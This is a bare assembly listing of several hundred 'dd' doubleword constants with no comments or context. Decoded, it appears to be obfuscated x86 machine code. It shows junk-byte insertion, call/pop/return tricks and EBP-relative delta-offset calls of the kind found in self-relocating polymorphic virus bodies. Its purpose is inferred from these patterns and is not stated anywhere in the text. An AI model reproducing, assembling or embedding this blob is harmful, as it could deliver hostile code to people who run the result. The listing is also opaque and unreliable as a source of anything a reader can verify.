		dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 62BF620h
		dd 0E995FF50h, 89062905h, 2BFF3085h, 5985C606h,	4706291Bh
		dd 0B15E8768h, 39B5FFC7h, 8D062926h, 293B7285h,	6AD0FF06h
		dd 30B5FF00h, 0FF062BFFh, 598D89D0h, 6A06292Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 9B2C357h, 269204F7h,	0E83BF226h, 12h, 0E6D3FD29h, 0B59EC092h
		dd 2C9A4FB6h, 7D7B68B7h, 0FDB607ABh, 37D03D59h,	830F0000h
		dd 24h,	2A65BD8Bh, 0B5FF0629h, 62BFF30h, 0B5E4B966h, 60595FFh
		dd 0F2810629h, 3191E1ECh, 0DFE9h, 0C8BF0F00h, 0FF30B5FFh
		dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0AE3B4BC3h, 0EB400760h, 81607301h, 0D699BC0h
		dd 61DA8B68h, 60595FFh,	6A0629h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 6ABE42C3h, 4DBD8B00h
		dd 6A062931h, 0D9958B00h, 6A062905h, 25BD8B00h,	6A062935h
		dd 6AF500h, 33398589h, 6A0629h,	11218509h, 858D0629h, 62BFF34h
		dd 4D9D8B60h, 66062910h, 258CD881h, 0BD235061h,	6291881h
		dd 5E995FFh, 6A0629h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0ECA413C3h, 7910C7D3h, 8BD2A969h
		dd 2934F5BDh, 0FFF88306h, 14D850Fh, 0BD8B0000h,	6291415h
		dd 0BAC0858Dh, 0EE8062Bh, 0E5000000h, 6DEF4D69h, 31E1B071h
		dd 49AE0214h, 6880FDCh,	0F000000h, 8Dh,	9E85F00h, 7B000000h
		dd 0DAF57279h, 0D1855491h, 2BD98166h, 0D0FF5F8Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B4C35343h, 605624D6h
		dd 6E84EB81h, 9D0B6942h, 6291761h, 45BD2961h, 6A062905h
		dd 32BA6600h, 8B006A18h, 2932DD8Dh, 0F006A06h, 6AD7BFh
		dd 2445BD89h, 6A0629h, 0CBDF8166h, 60006ACFh, 6800Fh, 0B5290000h
		dd 62900D1h, 2A5113BAh,	858D6174h, 62BFF34h, 6A501FB5h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0A3F4C352h, 0EED422B9h, 187EDE82h, 95FFD68Bh
		dd 62905E9h, 921BD89h, 0F8830629h, 5C850FFFh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 24CCC352h, 0D8771464h, 5E600F84h,	0B1D98166h
		dd 3CB58D0Eh, 8B062BF9h, 292A2D95h, 73858D06h, 81062BA4h
		dd 4A9BFBC9h, 89D0FF57h, 2929D585h, 66006A06h, 0FFA69CBAh
		dd 2923ED95h, 19958B06h, 8906292Eh, 2BFF3085h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0E94A85DFh, 0D18B07D6h, 0F88B006Ah, 0FF28858Dh, 0B589062Bh
		dd 62927B5h, 69BD0950h,	6A06290Fh, 8DCE8B04h, 291E3585h
		dd 25958906h, 50062908h, 66CB8B66h, 4D99DA81h, 0F960006Ah
		dd 6A006A61h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0CBB7C357h, 0CFFFD56Dh, 0CE8BA7Bh
		dd 41000000h, 0F36C4E08h, 65676130h, 81F06836h,	320471C9h
		dd 16A5953h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	91C35646h, 0DBC82AF6h, 5606D636h, 0BF19BA66h, 0FF30B5FFh
		dd 9E9062Bh, 56000000h,	0B3D25A05h, 752C8061h, 160595FFh
		dd 0EA810629h, 17E8E0ACh, 1AC9E9h, 0FCE78100h, 57421756h
		dd 0DAD98166h, 0C08B5A3Fh, 68B0Fh, 958B0000h, 6292899h
		dd 309DBD83h, 75000629h, 75BD8309h, 62900h, 53501974h
		dd 0D2B8C08Bh, 89000007h, 29310585h, 0A29D8D06h, 0FF062BAAh
		dd 83585BD3h, 290075BDh, 17740006h, 0D2B85350h,	89000007h
		dd 29310585h, 919D8D06h, 0FF062BA7h, 80585BD3h,	81660BDDh
		dd 0F7FA9D9h, 0C08BCFBFh, 18119589h, 85C70629h,	6291A29h
		dd 1, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 1Dh
		dd 9C35343h, 6BF19494h,	7D04F832h, 83F1810Eh, 686E8C18h
		dd 0CEE4E7B8h, 3051B5FFh, 858D0629h, 6293B72h, 8589D0FFh
		dd 6291DF5h, 18C858Dh, 8D50062Ch, 2C044985h, 1685006h
		dd 0FF800000h, 291DF595h, 75C00B06h, 5985C70Ah,	106292Bh
		dd 68000000h, 0C005DBD4h, 3051B5FFh, 858D0629h,	6293B72h
		dd 8589D0FFh, 6293459h,	0F3D9858Dh, 0FF50062Bh,	292639B5h
		dd 1595FF06h, 0B062920h, 8B0B74C0h, 8C858DD8h, 50062C03h
		dd 858DD3FFh, 62C038Ch,	9388366h, 85C70A75h, 6290451h
		dd 1, 186195FFh, 0FF250629h, 83000000h,	0A7305F8h, 205D85C7h
		dd 10629h, 0B5010000h, 6292E19h, 0AE8h,	0DA900900h, 0EBD2A22Eh
		dd 0FAD972Bh, 683h, 34DF8100h, 5A0D0C17h, 7653B957h, 805F5090h
		dd 2BFF9BBDh, 840F0006h, 1Ah, 5E5BD2Bh,	0BD830629h, 62C0445h
		dd 16840F00h, 29000000h, 29116D95h, 1BE9F906h, 0E9000019h
		dd 5, 0E7BC936Bh, 51BD8347h, 62904h, 0BC850Fh, 8E80000h
		dd 0E8000000h, 0BCDC2A6h, 0E8234F35h, 0Eh, 9943272Eh, 2D9DC93Eh
		dd 118E2ECEh, 0CA81E476h, 377FD65Dh, 858D5F5Fh,	62BFF65h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 86C35545h
		dd 29E138F8h, 958BC6C9h, 62900C1h, 16AFC50h, 850Fh, 6A0000h
		dd 6AC88Ah, 8E8h, 9B07B100h, 0F7367CFh,	899509D9h, 5F06290Eh
		dd 2A7595FFh, 7E80629h,	1B000000h, 12889C7Ah, 8B665333h
		dd 85895ACEh
		dd 62BFF8Fh, 27718D89h,	0FF6A0629h, 11619D89h, 0B5FF0629h
		dd 62BFF8Fh, 17699533h,	95FF0629h, 6292755h, 1051BD29h
		dd 858D0629h, 62BF3A0h,	5E5958Bh, 8B500629h, 29074D95h
		dd 0E195FF06h, 6A062914h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0FDDDC352h,	89FE567Fh
		dd 2BF42A85h, 0B7B96606h, 0AD858D10h, 6A062BF3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 89B0C351h, 29355DBDh, 0E8575306h, 14h, 0E68ABBF8h, 0DAB4037Bh
		dd 0B371AE3Ah, 0BA2114CEh, 0D148A11h, 505F595Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 79C35242h, 3E140D67h
		dd 2E31958Bh, 0F88B0629h, 0F42AB5FFh, 952B062Bh, 6293169h
		dd 1595FFF8h, 89062920h, 29103585h, 75858906h, 6606292Bh
		dd 76C0E981h, 0F41B858Dh, 0FB8B062Bh, 0D1852950h, 0FF06291Ah
		dd 2BF42AB5h, 0B8E0F06h, 0F000000h, 588h, 0E9816600h, 95FF901Ah
		dd 6292015h, 1E499523h,	85890629h, 62BF43Eh, 57CB8B66h
		dd 0F698D09h, 8D5F0629h, 2BF3FA85h, 65BD2906h, 50062934h
		dd 2DE9BD89h, 0B5FF0629h, 62BF42Ah, 12E8h, 0D84B6300h
		dd 64DFD878h, 0C0EFEA21h, 0CD7F3A15h, 6621F666h, 5FBFBFBFh
		dd 95FFCF8Ah, 6292015h,	998D2960h, 0F062925h, 281h, 61616000h
		dd 0F4368589h, 9589062Bh, 6290DB1h, 0F3ED858Dh,	958B062Bh
		dd 629328Dh, 3810F50h, 66000000h, 8D89F88Bh, 6292839h
		dd 0F42AB5FFh, 8529062Bh, 629056Dh, 201595FFh, 6A0629h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0EBC1B9C3h, 0DD71F070h, 85899D7Eh, 62BF43Ah,	0D6D8D31h
		dd 858D0629h, 62BF408h,	58E9C281h, 0FE91E0Bh, 0C3000000h
		dd 393AD7E3h, 0D41DD1FAh, 38AEA3B3h, 8B50B147h,	291645BDh
		dd 2AB5FF06h, 89062BF4h, 291E3D85h, 11E906h, 48260000h
		dd 0CAA12254h, 8BB10F3Bh, 23C1412Eh, 0FF3EE046h, 29201595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0D2368F93h, 800F57h, 89000000h, 290FB185h
		dd 0C18D8B06h, 8D06292Ch, 2BF3BC85h, 0D1B70F06h, 5E18150h
		dd 0FF1A6777h, 2BF42AB5h, 1D8D3306h, 0FF062933h, 29201595h
		dd 89CEB206h, 2BF42E85h, 11E906h, 0CAEE0000h, 0B74ED552h
		dd 639771CAh, 980E95D5h, 8DB1408Dh, 2BF3CB85h, 0C9958906h
		dd 50062914h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0D3C35747h, 0FFF98B66h,	2BF42AB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0E7B7418Ch, 8D8B0A18h, 6290A29h, 1595FFF9h, 0E9062920h
		dd 0Fh,	5F031440h, 5D1B0B2Bh, 5592ED1Fh, 892827FDh, 2BF43285h
		dd 1046806h, 8DF80000h,	2BF4C285h, 0F96B106h, 48Fh, 0A2BA6600h
		dd 8D8B5022h, 629103Dh,	0F5C6858Dh, 8B66062Bh, 595050CEh
		dd 0BD95FFh, 0BD230629h, 62911D9h, 850FC085h, 5, 0F02E8ABFh
		dd 9BBD8012h, 62BFFh, 58850Fh, 0BF660000h, 0E3E97612h
		dd 6A000014h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0A47CC353h, 7C932BC7h,	8078039Fh
		dd 0E8607DD1h, 14h, 0F222B716h,	213702FFh, 0AE268AFBh
		dd 0BD9460A5h, 0C401A237h, 288DBD2Bh, 315E0629h, 292DF595h
		dd 0BD836106h, 6290451h, 2A850F00h, 80000000h, 0BD8353D6h
		dd 62C0445h, 91840F00h,	0F000000h, 1481h, 0FE900h, 743F0000h
		dd 6D7C490Eh, 0D7001B30h, 0C1F64651h, 5F858D0Ah, 6A062BF4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 1974C357h, 9FEBC69Fh, 600B6BF8h, 800F57h
		dd 58000000h, 304D9D89h, 89610629h, 29182595h, 1418E906h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0A10C71C3h, 8193F10Ch, 0D68B19E9h, 18E978h
		dd 0B5890000h, 6291EF1h, 0F44A858Dh, 850F062Bh,	6, 253DBD89h
		dd 6A500629h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0FA3AC355h, 51319454h,	0E9250ED8h
		dd 13h,	0E844CCDBh, 8CF9FA91h, 6684417Bh, 213B545Fh, 8D5F0217h
		dd 2BF4C285h, 8D0F06h, 50000000h, 84E68060h, 61F2BF0Fh
		dd 451BD83h, 0F000629h,	3A84h, 0E8858D00h, 60062BF5h, 6832BF60h
		dd 61F92470h, 61D6B70Fh, 2DE9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 4F0E420Fh
		dd 8DD68162h, 2BF5D185h, 0F2816606h, 8B509B63h,	2929DD8Dh
		dd 20858D06h, 50062BF6h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 41C35040h, 27DB03Dh, 3949C5BDh, 591BC981h
		dd 95FF2605h, 6291EEDh,	8889B966h, 0D598501h, 0C4830629h
		dd 0F048BA10h, 0C08B626Ah, 0F3DAF2BFh, 9DBD830Ah, 62930h
		dd 0BD830975h, 6290075h, 50197400h, 0B8C08B53h,	7D3h, 31058589h
		dd 9D8D0629h, 62BAAA2h,	585BD3FFh, 75BD83h, 74000629h
		dd 0B8535017h, 7D3h, 31058589h,	9D8D0629h, 62BA791h, 585BD3FFh
		dd 5F9958Bh, 8F0F0629h,	2, 0D3BFCB8Bh, 8B085C51h, 798D03C0h
		dd 81062906h, 2BF44ABDh, 65726F06h, 99840F61h, 89000000h
		dd 29056D95h, 0C2858D06h, 50062BF4h, 0F5FF858Dh, 8D50062Bh
		dd 2BF62085h, 95FF5006h, 6291EEDh, 0C60CC483h, 291B5985h
		dd 4F684406h, 0FF96A318h, 292639B5h, 72858D06h,	0FF06293Bh
		dd 8DD88BD0h, 2BF62085h, 0D3FF5006h, 0F44A858Dh, 8D50062Bh
		dd 2BF4C285h, 0BD835006h, 6290451h, 8D087400h, 2BF5E885h
		dd 8D06EB06h, 2BF5D185h, 858D5006h, 62BF620h, 0ED95FF50h
		dd 8306291Eh, 0BD8B10C4h, 6290EADh, 99D8B60h, 0F06292Ah
		dd 687h, 418D8900h, 61062918h, 186195FFh, 0F8F80629h, 0FF25h
		dd 6EB96600h, 5F8837Dh,	50830Fh, 8B660000h, 5D85C7D0h
		dd 1062920h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0EF17C352h,	0FC396437h
		dd 0F2AB12Ch, 8Eh, 8D8D0900h, 8D062930h, 2BF47E85h, 0E9CE8A06h
		dd 54h,	13918529h, 0BD830629h, 6290451h, 39840F00h, 0B6000000h
		dd 0A9858D4Dh, 6A062BF4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 2CB1C352h, 0B1958914h
		dd 8A062911h, 0DE9F9F1h, 0B9000000h, 7FA9F42Bh,	0F48B858Dh
		dd 0CE8A062Bh, 0F4BE8589h, 6A062Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 1B2FF1C3h
		dd 0E981D861h, 3EBE6694h, 451BD83h, 0F000629h, 1F85h, 0DD8D8900h
		dd 8B06292Fh, 292F7D8Dh, 45BD8306h, 62C04h, 11840Fh, 0BD8B0000h
		dd 6290951h, 10B5E9h, 59BD0B00h, 0E906292Eh, 4C4h, 2CC98D8Bh
		dd 0C08B0629h, 309DBD83h, 75000629h, 75BD8309h,	62900h
		dd 53501974h, 0D4B8C08Bh, 89000007h, 29310585h,	0A29D8D06h
		dd 0FF062BAAh, 83585BD3h, 290075BDh
		dd 17740006h, 0D4B85350h, 89000007h, 29310585h,	919D8D06h
		dd 0FF062BA7h, 0B5585BD3h, 11E95Bh, 0AC2F0000h,	1E21D045h
		dd 0BE86A016h, 0A8CB54EFh, 8B9802A6h, 57006AC0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 81661FB0h, 681BCFF7h, 0F003Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0DC35545h, 1285958Bh, 6A0629h
		dd 88A0Fh, 0F600000h, 84h, 0BD296100h, 629263Dh, 0DE9006Ah
		dd 0AE000000h, 0AC8F6917h, 9FE6F6A5h, 705306CDh, 2B7595FFh
		dd 0CE8B0629h, 850FC085h, 2, 858909B6h,	62BF442h, 235D9D89h
		dd 0CF810629h, 422B6090h, 0B70F006Ah, 0D1ACB9D2h, 6A56FCh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F8C35242h
		dd 6D46C620h, 0D33C4022h, 8903DD80h, 291A0595h,	6880F06h
		dd 1000000h, 2924A195h,	8B006A06h, 291B258Dh, 0E9006A06h
		dd 14h,	3A72DC8Bh, 47E82A96h, 0F6649EE1h, 0CDE1F487h, 0C0AB28A8h
		dd 880F006Ah, 0
		dd 1E7DBD8Bh, 858D0629h, 62BF620h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 42C35141h, 0E395A8B0h, 0E9534581h
		dd 10h,	7FBFCCEh, 21495DF5h, 8ACDDBD5h,	0D11621D8h, 0D0BF0F50h
		dd 8B66016Ah, 57016AFAh, 263D8589h, 6A590629h, 52006A01h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 600212B1h, 3539B58Bh, 68610629h, 0F01FFh, 8018D8Bh
		dd 0BD830629h, 6290451h, 5B840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0CC0C351h, 35038AC6h, 8DB0FBB7h, 2BF49F85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 196237FDh, 0CABA50CDh, 0E96C3F9Ah, 12h, 1F819523h, 858D0629h
		dd 62BF475h, 2EA9BD89h,	6A500629h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 27EAC356h
		dd 8D33049Fh, 62928E5h,	0F503FB1h, 0B5FFFBBFh, 62BF442h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0CAC35242h
		dd 0CAA4D12h, 0FC3A4030h, 0F42E95FFh, 0B70F062Bh, 0FC085FAh
		dd 3185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 4F0898A3h, 8B665151h, 0E95A5AF9h
		dd 5Bh,	2441BD8Bh, 85890629h, 62BF446h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 13C35242h, 52EB1B29h
		dd 81662DCCh, 0FFB77DE9h, 2BF446B5h, 6E95606h, 8B000000h
		dd 0BA2DF1FEh, 95FF5F15h, 6290FB1h, 0FC085F9h, 685h, 818D0900h
		dd 6A06291Bh, 8D0F5310h, 3, 5F41EE80h, 9559D31h, 0BD830629h
		dd 6290451h, 50840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0FFB7C353h
		dd 6F04B271h, 0D18B56CDh, 0BE8h, 5C2BF200h, 0DBD8F4E0h
		dd 663103A6h, 5FCAB70Fh, 0F49F858Dh, 0B589062Bh, 62900B5h
		dd 0DE9h, 3D9D8900h, 8D06291Eh,	2BF47585h, 2950F906h, 29354185h
		dd 42B5FF06h, 0B9062BF4h, 935F76Ah, 0F43A95FFh,	0EA81062Bh
		dd 0A881BA3h, 850FC085h, 19h, 14E9h, 0F24CB300h, 0CE3FD4F9h
		dd 0F9CB93A8h, 0F8C5A2D3h, 665B07F1h, 468589A4h, 8B062BF4h
		dd 2912198Dh, 66006A06h, 6AC8DA81h, 0B5FF006Ah,	62BF446h
		dd 0F43295FFh, 6A062Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 82257AC3h, 0E2B26FA3h, 95297595h
		dd 6290A99h, 850FC085h,	29h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 4FC35141h, 9EAED16Dh, 3361D49Bh
		dd 29334195h, 46B5FF06h, 89062BF4h, 2917DD85h, 0B195FF06h
		dd 0E906290Fh, 8, 4EB6D26Fh, 99884912h,	850FC085h, 0Ch
		dd 23BD8D8Bh, 0BD230629h, 629185Dh, 0B529006Ah,	6292665h
		dd 10699589h, 80680629h, 0E9000000h, 12h, 0E343514Ah, 0CEA6C57h
		dd 6BD1DF0h, 0F5F31FC3h, 36A06D1h, 0A1958B51h, 5906290Ch
		dd 0CD80006Ah, 8B006A1Fh, 290A19BDh, 6806h, 8D89C000h
		dd 6291AC9h, 0F4BEB5FFh, 9D31062Bh, 62910EDh, 5E995FFh
		dd 8B0F0629h, 6, 28F5BD8Bh, 0F8830629h,	0BE850FFFh, 66000004h
		dd 529AEA81h, 0FF2C85FFh, 0B4B9062Bh, 834050E1h, 2BFF2CBDh
		dd 840F0206h, 3D5h, 17CBEF81h, 858D0A84h, 5B243Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C4C35343h, 89BF2C6h
		dd 837C7798h, 2870Fh, 0D38B0000h, 6AD0FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0D2BDD1C3h
		dd 0DDF6B966h, 1E8E858Dh, 0ABB5005Bh, 8D8BD0FFh, 6291219h
		dd 9529C08Bh, 6291841h,	0E719D89h, 0BD830629h, 629309Dh
		dd 83097500h, 290075BDh, 19740006h, 0C08B5350h,	7D8B8h
		dd 5858900h, 8D062931h,	2BAAA29Dh, 5BD3FF06h, 75BD8358h
		dd 62900h, 53501774h, 7D8B8h, 5858900h,	8D062931h, 2BA7919Dh
		dd 5BD3FF06h, 9D858958h, 8B062929h, 3F68C0h, 6A000Fh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 866C13C3h, 30D181C2h, 6A317FAFh, 0E8EA8100h,	6A72935Bh
		dd 75BD8B00h, 0E8062906h, 0Fh, 333106CBh, 8FF29238h, 0C130933Fh
		dd 818B0DBCh, 3AB8A9F1h, 95FF5F2Ch, 6292B75h, 28C0Fh, 0F48A0000h
		dd 0BD8BC085h, 62904A5h, 0F4428589h, 6A062Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 463510C3h
		dd 6867B692h, 0F01FFh, 83D7BF0Fh, 290451BDh, 840F0006h
		dd 2Dh,	47D28166h, 9F858D0Ah, 0E9062BF4h, 12h, 0E8D7D154h
		dd 7902A16Ah, 7987210Bh, 3E7B1326h, 0DE980BBh, 31000000h
		dd 292C11B5h, 75858D06h, 0F8062BF4h, 0FEB70F50h, 0F442B5FFh
		dd 6DB5062Bh, 0FF74CA80h, 2BF43A95h, 0DDBD8B06h, 8906292Ah
		dd 2BF44685h, 0E5B58906h, 0C7062915h, 29060D85h, 6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 59BF37B0h, 1125E359h, 110D9589h, 0BD830629h,	62BF446h
		dd 0B5840F00h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 2FF7C352h, 0E96901C1h
		dd 0Fh,	69BC3D95h, 0AEAD4BB6h, 5D2B79E2h, 8D1E3DEFh, 2BF72485h
		dd 0A1BD8906h, 89062930h, 2907C58Dh, 6A5006h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B7623C3h
		dd 29279195h, 11E906h, 42490000h, 0AC39B4F8h, 0FFE26C2Fh
		dd 8FAD52B2h, 6AFCB720h, 40DA8001h, 0F446B5FFh,	8D29062Bh
		dd 62916D5h, 0F43E95FFh, 9501062Bh, 629070Dh, 0F446B5FFh
		dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 17D9C3C3h, 579785EAh, 0E280B050h,	0B195FFFBh
		dd 6A06290Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 1134C353h, 0A21E157Ch,	0E580FEA2h
		dd 0F98D33D5h, 68062917h, 0F01FFh, 0DE9h, 87386E00h, 0A7FF3D96h
		dd 220DFDCBh, 4AB28020h, 451BD83h, 0F000629h, 1984h, 958B5300h
		dd 6292C45h, 9F858D5Fh,	89062BF4h, 29049185h, 0CE906h
		dd 858D0000h, 62BF475h,	0A19B529h, 81500629h, 3A547FE9h
		dd 42B5FF1Dh, 89062BF4h, 292D9D9Dh, 3A95FF06h, 0BA062BF4h
		dd 7D8C042Ch, 0F4468589h, 8B66062Bh, 0E66CBFCBh, 0B5FF1366h
		dd 62BF446h, 93E18166h,	0CD9D3192h, 0FF062905h,	2BF43695h
		dd 7E96006h, 92000000h,	0C9784F04h, 0FF61A307h,	2BF446B5h
		dd 58E0F06h, 66000000h,	2569C181h, 0FB195FFh, 85290629h
		dd 6292745h, 0FFF6E9E9h, 0D5BD8BFFh, 8B062905h,	292A09BDh
		dd 8FB5FF06h, 56062BFFh, 5F9958Bh, 0FF5F0629h, 2931E995h
		dd 0C5958906h, 8B062932h, 2908BD85h, 499D2906h,	0E906292Bh
		dd 595h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0C0C35747h, 0D67A1580h
		dd 2C95BD01h, 0B58D0629h, 62BF744h, 38E0Fh, 0B70F0000h
		dd 73858DC9h, 0F062BA4h, 384h, 0BDE28000h, 8B60D0FFh, 0DDB589CFh
		dd 61062928h, 0EE8A006Ah, 23ED95FFh, 8D890629h,	62908C9h
		dd 8F0FF38Bh, 6, 11F1BD89h, 858D0629h, 62BA473h, 2A09BD09h
		dd 0D0FF0629h, 12E9006Ah, 0C7000000h, 0AA80EF2Ah, 0C05B5961h
		dd 3497ACC1h, 4661C18Fh, 0ED95FF06h, 81062923h,	6ABE91DAh
		dd 8BC08B76h, 2911D595h, 9DBD8306h, 62930h, 0BD830975h
		dd 6290075h, 50197400h,	0B8C08B53h, 7D9h, 31058589h, 9D8D0629h
		dd 62BAAA2h, 585BD3FFh,	75BD83h, 74000629h, 0B8535017h
		dd 7D9h, 31058589h, 9D8D0629h, 62BA791h, 585BD3FFh, 81D78B66h
		dd 0CD1E3CC9h, 0D0B70F73h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C7B29C3h
		dd 0E95350B3h, 0Ch, 3DD53B68h, 3A28817Ch, 0A89E7D14h, 6AD88B5Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 1034C351h, 0F1DB4ACh, 82h, 9D8D5300h, 62916E9h
		dd 389038Bh, 8950438Bh,	9D8D5043h, 62BFF28h, 389038Bh
		dd 6AD38B5Bh, 0A870F00h, 0E9000000h, 5,	264237DDh, 28858D16h
		dd 89062BFFh, 292EC9B5h, 95035006h, 6290E45h, 6A606Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0A7B5E9C3h, 0FE21701h, 688h,	7D958B00h, 8B06291Fh, 291E498Dh
		dd 0E9858D06h, 0E9062916h, 0Eh,	0EEA11E32h, 7663CC5h, 7CE55A36h
		dd 895000E9h, 290A8595h, 0BD895006h, 6291379h, 0E9006A5Ah
		dd 11h,	3859ED0h, 7FA6BF5Eh, 6ED57299h,	1ED247C3h, 1006AC1h
		dd 2915D1B5h, 45B53106h, 68062932h, 1800h, 45BD8960h, 89062927h
		dd 2907159Dh, 0E8536106h, 7, 2721AB47h,	665EA79Ch, 5A8325BFh
		dd 160595FFh, 81660629h, 600228D1h, 0FE9h, 1AF42A00h, 28E0C034h
		dd 24473513h, 0AC1632B1h, 3E5BD89h, 0FF610629h,	29060595h
		dd 45B96606h, 8FB5FF00h, 89062BFFh, 2920318Dh, 0E995FF06h
		dd 2B062931h, 29306D95h, 0E9858D06h, 81062916h,	29B14BF1h
		dd 6E9561Eh, 0CD000000h, 0C0AB28A8h, 408B59F1h,	52006A18h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BF66A1DBh, 85C7CBCBh, 6291025h, 0
		dd 0A259D29h, 0BD830629h, 6290451h, 40840F00h, 8B000000h
		dd 290D29BDh, 8C3D06h, 830F0000h, 1B4h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 25C35141h, 890E7BFh
		dd 0BA68BDF7h, 603CB923h, 0DE9h, 3D8BB500h, 98h, 17A830Fh
		dd 858D0000h, 5B243Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0D5C35545h, 454264AAh, 49D16h, 6AD0FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 9501EAC3h, 6290949h,	1E8E858Dh, 11E9005Bh, 88000000h
		dd 8F533312h, 0ABC88F6h, 5F85E282h, 2A268E3Dh, 9E8D0FFh
		dd 0B1000000h, 61236A52h, 3A6EDA50h, 34718D33h,	8B590629h
		dd 66C4BAC0h, 0BD836C68h, 629309Dh, 83097500h, 290075BDh
		dd 19740006h, 0C08B5350h, 0BC6B8h, 5858900h, 8D062931h
		dd 2BAAA29Dh, 5BD3FF06h, 75BD8358h, 62900h, 53501774h
		dd 0BC6B8h, 5858900h, 8D062931h, 2BA7919Dh, 5BD3FF06h
		dd 7E858h, 67F70000h, 883301ABh, 0FB8B66D3h, 0D1816659h
		dd 0C08B0A2Dh, 0FE9h, 266FF700h, 168C9E39h, 0A2095756h
		dd 0ECE68593h, 0FFFF883h, 5185h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0BED7B731h
		dd 891B8A4Eh, 292F659Dh, 3D85C706h, 62924h, 0B000000h
		dd 2931A9BDh, 0D5E906h,	0BD8B0000h, 62930B5h, 20E9h, 0D1B70F00h
		dd 1DF98D8Bh, 0F8830629h, 0E850F01h, 0B000000h,	292805BDh
